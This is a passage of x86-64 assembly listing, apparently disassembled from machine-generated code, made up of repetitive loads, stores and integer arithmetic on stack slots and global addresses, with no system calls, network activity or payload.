mov byte [rcx], al
lea rax, [rsp + 0xe0c]
mov qword [rsp + 0x8d40], rax
movzx eax, byte [0x140113052]
movzx ecx, byte [rsp + 0x187]
add eax, ecx
mov rcx, qword [rsp + 0x63a0]
mov byte [rcx], al
lea rax, [rsp + 0x77]
mov qword [rsp + 0x8d48], rax
movsx eax, word [rsp + 0x1040]
movsx ecx, word [rsp + 0xffc]
add eax, ecx
mov rcx, qword [rsp + 0x61a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8a18]
mov eax, dword [rax]
mov dword [rsp + 0x328c], eax
mov rax, qword [rsp + 0x6e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ee4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x31cc], eax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x5e28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6230]
mov qword [rcx], rax
lea rax, [rsp + 0x5f50]
mov qword [rsp + 0x8d50], rax
movzx eax, byte [rsp + 0x1ee]
movzx ecx, byte [rsp + 0x13e]
sar eax, cl
mov byte [rsp + 0x18f], al
lea rax, [rsp + 0x18b]
mov qword [0x140114a08], rax
mov rax, qword [rsp + 0x8180]
movzx eax, word [rax]
mov word [rsp + 0x1070], ax
movsx eax, word [rsp + 0x8e8]
mov rcx, qword [rsp + 0x5ad8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8830]
mov word [rcx], ax
mov rax, qword [rsp + 0x7678]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe8c]
shl eax, cl
mov word [rsp + 0xf10], ax
lea rax, [rsp + 0x5b88]
mov qword [rsp + 0x8d58], rax
mov rax, qword [rsp + 0x5b68]
mov rcx, qword [rsp + 0x55a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3274], eax
lea rax, [rsp + 0x2d98]
mov qword [rsp + 0x8d60], rax
mov rax, qword [rsp + 0x5ff0]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7290], rax
mov rax, qword [rsp + 0x5a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6f]
sub eax, ecx
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0x6ef8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401130cb]
sub eax, ecx
mov byte [0x1401130ce], al
movzx eax, byte [rsp + 0x1c5]
mov byte [rsp + 0x209], al
movzx eax, byte [rsp + 0x149]
mov rcx, qword [rsp + 0x5cb0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x97], al
lea rax, [rsp + 0x1044]
mov qword [rsp + 0x8d68], rax
mov rax, qword [rsp + 0x5fd8]
mov rcx, qword [rsp + 0x89c8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x78b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x57a8]
mov qword [rsp + 0x8d70], rax
mov rax, qword [rsp + 0x84b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2fb4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6828]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8630]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x30b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b2c], eax
mov rax, qword [rsp + 0x7d40]
movzx eax, byte [rax]
mov byte [rsp + 0x20a], al
mov rax, qword [rsp + 0x5510]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6f58]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401130f8], ax
mov rax, qword [0x140114868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5890]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x68a8]
movzx eax, word [rax]
mov word [rsp + 0x1074], ax
movzx eax, word [rsp + 0xaf8]
movzx ecx, word [rsp + 0xdd0]
xor eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6128]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8248]
mov qword [rsp + 0x8d78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d78]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2d78], eax
mov eax, dword [rsp + 0x30a8]
mov dword [rsp + 0x3290], eax
mov rax, qword [rsp + 0x7fc8]
mov rcx, qword [rsp + 0x6490]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8688]
mov qword [rcx], rax
lea rax, [rsp + 0x7ff0]
mov qword [rsp + 0x8d80], rax
movzx eax, word [rsp + 0xf1c]
movzx ecx, word [rsp + 0x97c]
sar eax, cl
mov word [rsp + 0xa7c], ax
movsx eax, word [rsp + 0xed0]
movsx ecx, word [0x140113004]
and eax, ecx
mov word [0x140114280], ax
mov rax, qword [rsp + 0x5d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6c90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15d], al
lea rax, [rsp + 0xd24]
mov qword [rsp + 0x8d88], rax
movzx eax, byte [rsp + 0x112]
movzx ecx, byte [0x1401142b2]
add eax, ecx
mov byte [rsp + 0x203], al
lea rax, [rsp + 0x105]
mov qword [rsp + 0x8d90], rax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x67f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7470], rax
mov rax, qword [rsp + 0x81e8]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7c10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7468]
mov eax, dword [rax]
mov dword [rsp + 0x3294], eax
mov rax, qword [rsp + 0x81a8]
mov rcx, qword [rsp + 0x53f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5348]
mov dword [rcx], eax
lea rax, [0x14011309f]
mov qword [0x140114a10], rax
lea rax, [rsp + 0x954]
mov qword [rsp + 0x8d98], rax
movsx eax, word [rsp + 0xa80]
mov rcx, qword [rsp + 0x6290]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7798]
mov word [rcx], ax
lea rax, [rsp + 0x970]
mov qword [rsp + 0x8da0], rax
movsx eax, word [rsp + 0xa38]
mov rcx, qword [rsp + 0x72b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8d0], ax
mov rax, qword [rsp + 0x8160]
mov rcx, qword [rsp + 0x52a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7168], rax
lea rax, [rsp + 0x8708]
mov qword [rsp + 0x8da8], rax
mov rax, qword [rsp + 0x80a8]
mov ecx, dword [rsp + 0x30d8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x86b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7f80]
mov eax, dword [rax]
mov dword [rsp + 0x3298], eax
mov rax, qword [rsp + 0x8118]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x78a0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14011303b], al
movsx eax, byte [0x140113023]
mov rcx, qword [rsp + 0x6c90]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7bc0]
mov byte [rcx], al
movzx eax, word [rsp + 0x8b8]
mov rcx, qword [rsp + 0x54a0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xddc], ax
movzx eax, word [rsp + 0xcb4]
mov word [rsp + 0x1078], ax
mov rax, qword [rsp + 0x7978]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7f40]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x179], al
mov rax, qword [rsp + 0x7b20]
mov eax, dword [rax]
mov dword [rsp + 0x329c], eax
mov rax, qword [rsp + 0x6938]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x89d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c00], rax
mov rax, qword [rsp + 0x85e8]
mov rcx, qword [rsp + 0x5730]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0x70f8], rax
mov eax, dword [rsp + 0x2d8c]
mov dword [rsp + 0x32a0], eax
movzx eax, byte [rsp + 0x131]
mov rcx, qword [0x140114730]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401130cf], al
mov rax, qword [rsp + 0x7e68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x94]
sub eax, ecx
mov rcx, qword [rsp + 0x5268]
mov byte [rcx], al
movzx eax, byte [rsp + 0x20a]
mov byte [rsp + 0x20b], al
movzx eax, word [rsp + 0x9f8]
movzx ecx, word [0x140113084]
sub eax, ecx
mov word [rsp + 0xd38], ax
movsx eax, word [rsp + 0xf24]
mov rcx, qword [rsp + 0x6620]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc64], ax
mov rax, qword [rsp + 0x6470]
mov rax, qword [rax]
mov qword [rsp + 0x8db0], rax
mov rax, qword [rsp + 0x8978]
mov ecx, dword [rsp + 0x2c50]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x65f8]
mov eax, dword [rax]
mov dword [rsp + 0x32a4], eax
mov rax, qword [rsp + 0x6218]
mov rcx, qword [rsp + 0x7950]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0x6538], rax
movzx eax, word [0x14011317c]
mov word [0x140114a18], ax
mov rax, qword [rsp + 0x83f0]
movzx eax, byte [rax]
mov byte [rsp + 0x20c], al
movzx eax, byte [rsp + 0xaa]
movzx ecx, byte [rsp + 0x1c0]
and eax, ecx
mov rcx, qword [rsp + 0x66e0]
mov byte [rcx], al
movsx eax, word [rsp + 0xef8]
mov rcx, qword [0x1401147f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xec4], ax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x8db8], rax
mov rax, qword [rsp + 0x8618]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x320c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30e4], eax
lea rax, [rsp + 0x6870]
mov qword [rsp + 0x8dc0], rax
mov rax, qword [rsp + 0x6bd0]
mov rcx, qword [rsp + 0x8578]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8590]
mov qword [rcx], rax
mov rax, qword [rsp + 0x72c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7a60]
mov qword [rsp + 0x8dc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8dc8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3154], eax
mov rax, qword [0x1401147b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c3]
xor eax, ecx
mov byte [0x140114235], al
lea rax, [rsp + 0xd50]
mov qword [rsp + 0x8dd0], rax
movsx eax, byte [rsp + 0xb8]
mov rcx, qword [rsp + 0x7af0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x8a], al
mov rax, qword [0x140114448]
movzx eax, word [rax]
mov word [rsp + 0x107c], ax
mov rax, qword [rsp + 0x6718]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35]
or eax, ecx
mov rcx, qword [rsp + 0x71b0]
mov byte [rcx], al
mov eax, dword [rsp + 0x325c]
mov ecx, dword [rsp + 0x2ec4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3220], eax
lea rax, [rsp + 0x2f38]
mov qword [rsp + 0x8dd8], rax
mov rax, qword [rsp + 0x6c48]
mov rcx, qword [rsp + 0x69b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8168], rax
lea rax, [rsp + 0x5df8]
mov qword [rsp + 0x8de0], rax
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
mov rcx, qword [0x140114510]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140114380], ax
mov rax, qword [rsp + 0x6f50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8820]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x172], al
lea rax, [rsp + 0xf74]
mov qword [rsp + 0x8de8], rax
movzx eax, word [rsp + 0xcf4]
movzx ecx, word [rsp + 0x848]
add eax, ecx
mov word [rsp + 0xf0c], ax
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0x75a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfac], ax
mov rax, qword [rsp + 0x4fd8]
mov rax, qword [rax]
mov qword [rsp + 0x8df0], rax
mov eax, dword [rsp + 0x2f9c]
mov ecx, dword [rsp + 0x3258]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53d8]
mov dword [rcx], eax
lea rax, [rsp + 0x2eb4]
mov qword [rsp + 0x8df8], rax
mov rax, qword [rsp + 0x7e40]
mov rcx, qword [rsp + 0x4ef8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a98], rax
lea rax, [0x140113047]
mov qword [0x140114a20], rax
mov rax, qword [rsp + 0x7ec0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb78]
sub eax, ecx
mov word [rsp + 0xd08], ax
movzx eax, byte [rsp + 0x75]
mov byte [rsp + 0x20d], al
movsx eax, byte [rsp + 0x107]
movsx ecx, byte [rsp + 0x163]
xor eax, ecx
mov byte [rsp + 0x6e], al
mov rax, qword [rsp + 0x8d98]
movzx eax, word [rax]
mov word [rsp + 0x1080], ax
mov rax, qword [rsp + 0x5168]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x60b8]
mov qword [rsp + 0x8e00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e00]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x6910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x84b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7400]
mov qword [rsp + 0x8e08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e08]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7e08], rax
lea rax, [rsp + 0x7de8]
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x55f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3110]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cd8], eax
movzx eax, word [rsp + 0xec4]
mov word [rsp + 0x1084], ax
mov rax, qword [rsp + 0x5688]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov rcx, qword [0x140114458]
mov word [rcx], ax
movsx eax, byte [rsp + 0x3b]
movsx ecx, byte [rsp + 0x55]
and eax, ecx
mov byte [rsp + 0x88], al
mov rax, qword [0x140114730]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a9]
sub eax, ecx
mov rcx, qword [rsp + 0x7488]
mov byte [rcx], al
lea rax, [rsp + 0x900]
mov qword [rsp + 0x8e18], rax
mov rax, qword [rsp + 0x78b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7970]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6750], rax
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov dword [rsp + 0x32a8], eax
mov rax, qword [rsp + 0x7180]
mov ecx, dword [rsp + 0x2cb8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6e10]
mov dword [rcx], eax
lea rax, [rsp + 0x7e18]
mov qword [rsp + 0x8e20], rax
movsx eax, word [rsp + 0xe94]
movsx ecx, word [rsp + 0xb9c]
add eax, ecx
mov rcx, qword [rsp + 0x69c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x64e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fa8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401130d2], al
mov rax, qword [rsp + 0x4fa8]
movzx eax, word [rax]
mov rcx, qword [0x1401145d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x954], ax
lea rax, [rsp + 0x104]
mov qword [rsp + 0x8e28], rax
movsx eax, word [rsp + 0x914]
mov rcx, qword [rsp + 0x79a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe7c], ax
mov rax, qword [rsp + 0x5180]
mov rax, qword [rax]
mov qword [rsp + 0x8e30], rax
mov rax, qword [rsp + 0x8568]
mov ecx, dword [rsp + 0x2b44]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3068], eax
mov eax, dword [rsp + 0x2b30]
mov rcx, qword [rsp + 0x7568]
mov qword [rsp + 0x8e38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e38]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x7530]
mov qword [rsp + 0x8e40], rax
mov rax, qword [0x1401147f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8d0]
or eax, ecx
mov rcx, qword [rsp + 0x5510]
mov word [rcx], ax
mov rax, qword [rsp + 0x71e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11c]
xor eax, ecx
mov byte [0x1401130d3], al
lea rax, [rsp + 0xd2]
mov qword [rsp + 0x8e48], rax
mov rax, qword [rsp + 0x7610]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7078]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf6c], ax
movzx eax, byte [rsp + 0x90]
mov rcx, qword [rsp + 0x6688]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7c98]
mov byte [rcx], al
mov rax, qword [rsp + 0x6d50]
mov qword [rsp + 0x8e50], rax
mov rax, qword [rsp + 0x72a8]
mov rcx, qword [rsp + 0x76d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5b18]
mov eax, dword [rax]
mov dword [rsp + 0x32ac], eax
mov rax, qword [rsp + 0x72b8]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7168], rax
lea rax, [rsp + 0xd5]
mov qword [rsp + 0x8e58], rax
movsx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0x8778]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113066], al
movsx eax, word [rsp + 0xda4]
mov rcx, qword [0x140114770]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa38], ax
movzx eax, word [rsp + 0x8f4]
movzx ecx, word [rsp + 0xe30]
add eax, ecx
mov rcx, qword [rsp + 0x7d18]
mov word [rcx], ax
lea rax, [rsp + 0xd9]
mov qword [rsp + 0x8e60], rax
movsx eax, byte [rsp + 0x5d]
mov rcx, qword [0x140114868]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1e2], al
lea rax, [rsp + 0x2db8]
mov qword [rsp + 0x8e68], rax
mov rax, qword [rsp + 0x7ad8]
mov rcx, qword [rsp + 0x7bf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4f18], rax
mov rax, qword [rsp + 0x7940]
mov rcx, qword [0x140113008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x7848]
mov eax, dword [rax]
mov dword [rsp + 0x32b0], eax
movzx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0x7d40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401142e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x77b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7cf8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd10], ax
mov rax, qword [rsp + 0x8858]
movzx eax, word [rax]
mov word [rsp + 0x1088], ax
mov rax, qword [rsp + 0x6e00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x84d8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xd08], ax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x5fa8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1e4], al
mov rax, qword [rsp + 0x8370]
mov qword [rsp + 0x8e70], rax
mov rax, qword [rsp + 0x7b58]
mov ecx, dword [rsp + 0x3100]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x7030]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5fb8]
mov qword [rsp + 0x8e78], rax
mov eax, dword [rsp + 0x2c04]
mov rcx, qword [rsp + 0x67a8]
mov qword [rsp + 0x8e80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e80]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x7be8]
mov dword [rcx], eax
lea rax, [rsp + 0xcd]
mov qword [0x140114a28], rax
movsx eax, word [0x140114940]
movsx ecx, word [rsp + 0x87c]
and eax, ecx
mov rcx, qword [rsp + 0x76a8]
mov word [rcx], ax
lea rax, [rsp + 0xcc]
mov qword [rsp + 0x8e88], rax
mov rax, qword [rsp + 0x7c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x85d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x964], ax
movzx eax, byte [0x140114232]
mov byte [rsp + 0x20e], al
mov rax, qword [rsp + 0x6ab8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x62c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x53b8], rax
lea rax, [rsp + 0x2f44]
mov qword [rsp + 0x8e90], rax
mov eax, dword [rsp + 0x2d38]
mov ecx, dword [rsp + 0x3130]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7ef8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c60], rax
mov rax, qword [rsp + 0x5110]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140114830]
mov byte [rcx], al
movzx eax, byte [rsp + 0x15e]
mov byte [rsp + 0x20f], al
movsx eax, word [rsp + 0xdf4]
movsx ecx, word [rsp + 0xf18]
sub eax, ecx
mov word [rsp + 0xa94], ax
lea rax, [rsp + 0xf04]
mov qword [rsp + 0x8e98], rax
mov rax, qword [rsp + 0x6838]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb8c]
add eax, ecx
mov word [rsp + 0xe20], ax
mov eax, dword [rsp + 0x2ec4]
mov ecx, dword [rsp + 0x327c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ab0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6f80]
mov qword [rsp + 0x8ea0], rax
mov rax, qword [rsp + 0x5da0]
mov rcx, qword [rsp + 0x60e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2d60], eax
mov rax, qword [rsp + 0x8750]
mov rax, qword [rax]
mov qword [rsp + 0x8ea8], rax
lea rax, [rsp + 0xbd]
mov qword [0x140114a30], rax
movsx eax, word [rsp + 0xfc0]
movsx ecx, word [0x14011309c]
sar eax, cl
mov word [rsp + 0xa58], ax
movzx eax, word [rsp + 0xfec]
movzx ecx, word [rsp + 0xf94]
shl eax, cl
mov rcx, qword [rsp + 0x8d40]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1bd]
mov byte [rsp + 0x210], al
mov rax, qword [rsp + 0x5130]
movzx eax, word [rax]
movzx ecx, word [0x1401130f0]
or eax, ecx
mov word [rsp + 0xc7c], ax
lea rax, [rsp + 0x2e24]
mov qword [rsp + 0x8eb0], rax
mov rax, qword [rsp + 0x6220]
mov rcx, qword [rsp + 0x7898]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x68c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6340]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x30b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8898]
mov dword [rcx], eax
lea rax, [rsp + 0x7390]
mov qword [rsp + 0x8eb8], rax
movzx eax, byte [rsp + 0x72]
movzx ecx, byte [rsp + 0x1b7]
sub eax, ecx
mov byte [0x1401130d6], al
movsx eax, byte [0x14011308b]
movsx ecx, byte [rsp + 0x1ab]
add eax, ecx
mov rcx, qword [rsp + 0x6d80]
mov byte [rcx], al
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x8ec0], rax
movzx eax, word [rsp + 0xf6c]
mov rcx, qword [rsp + 0x8150]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa2c], ax
lea rax, [rsp + 0x14c]
mov qword [rsp + 0x8ec8], rax
mov rax, qword [rsp + 0x6a70]
mov rcx, qword [rsp + 0x6008]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x325c], eax
mov rax, qword [rsp + 0x7790]
mov rcx, qword [rsp + 0x4ed8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8a80], rax
lea rax, [0x140114160]
mov qword [rsp + 0x8ed0], rax
mov rax, qword [rsp + 0x82a0]
mov rcx, qword [rsp + 0x8d60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x30a8], eax
movsx eax, word [rsp + 0x944]
mov rcx, qword [rsp + 0x65d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401145e8]
mov word [rcx], ax
lea rax, [rsp + 0x202]
mov qword [rsp + 0x8ed8], rax
movzx eax, word [rsp + 0xf7c]
movzx ecx, word [rsp + 0xecc]
sub eax, ecx
mov word [rsp + 0xedc], ax
movsx eax, byte [rsp + 0x181]
mov rcx, qword [0x140114930]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5d00]
mov byte [rcx], al
movzx eax, word [rsp + 0x1020]
mov word [rsp + 0x108c], ax
mov rax, qword [rsp + 0x4f78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5290]
shr rax, cl
mov rcx, qword [rsp + 0x6ba8]
mov qword [rcx], rax
lea rax, [rsp + 0x8c40]
mov qword [rsp + 0x8ee0], rax
mov rax, qword [rsp + 0x72c0]
mov rcx, qword [rsp + 0x5478]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x86c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x75e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c38]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3238], eax
movzx eax, word [rsp + 0xa08]
mov word [0x140114a38], ax
lea rax, [0x140113096]
mov qword [rsp + 0x8ee8], rax
movsx eax, word [rsp + 0x9ac]
mov rcx, qword [rsp + 0x70a0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x968], ax
movzx eax, word [rsp + 0xac4]
mov word [rsp + 0x1090], ax
movzx eax, byte [rsp + 0x31]
mov rcx, qword [rsp + 0x6fa8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1b4], al
mov eax, dword [rsp + 0x3194]
mov dword [rsp + 0x32b4], eax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8090]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7708], rax
mov rax, qword [rsp + 0x7a48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5710]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ff0]
mov qword [rcx], rax
lea rax, [rsp + 0x2b70]
mov qword [rsp + 0x8ef0], rax
mov rax, qword [rsp + 0x5f60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x75d0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8648]
mov byte [rcx], al
mov rax, qword [rsp + 0x8268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5298]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140113148], ax
lea rax, [rsp + 0xeb4]
mov qword [rsp + 0x8ef8], rax
movsx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0x6430]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6ee8]
mov byte [rcx], al
movzx eax, byte [0x1401130c3]
mov rcx, qword [rsp + 0x56a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x174], al
mov rax, qword [rsp + 0x77a0]
mov qword [rsp + 0x8f00], rax
mov rax, qword [rsp + 0x7bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5320]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7998], rax
lea rax, [rsp + 0x30c8]
mov qword [rsp + 0x8f08], rax
mov rax, qword [rsp + 0x6738]
mov ecx, dword [rsp + 0x29f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c68], eax
mov rax, qword [rsp + 0x8660]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5868]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6820]
mov byte [rcx], al
movsx eax, word [rsp + 0x960]
movsx ecx, word [rsp + 0xc80]
shl eax, cl
mov word [0x14011303c], ax
mov rax, qword [rsp + 0x8dd0]
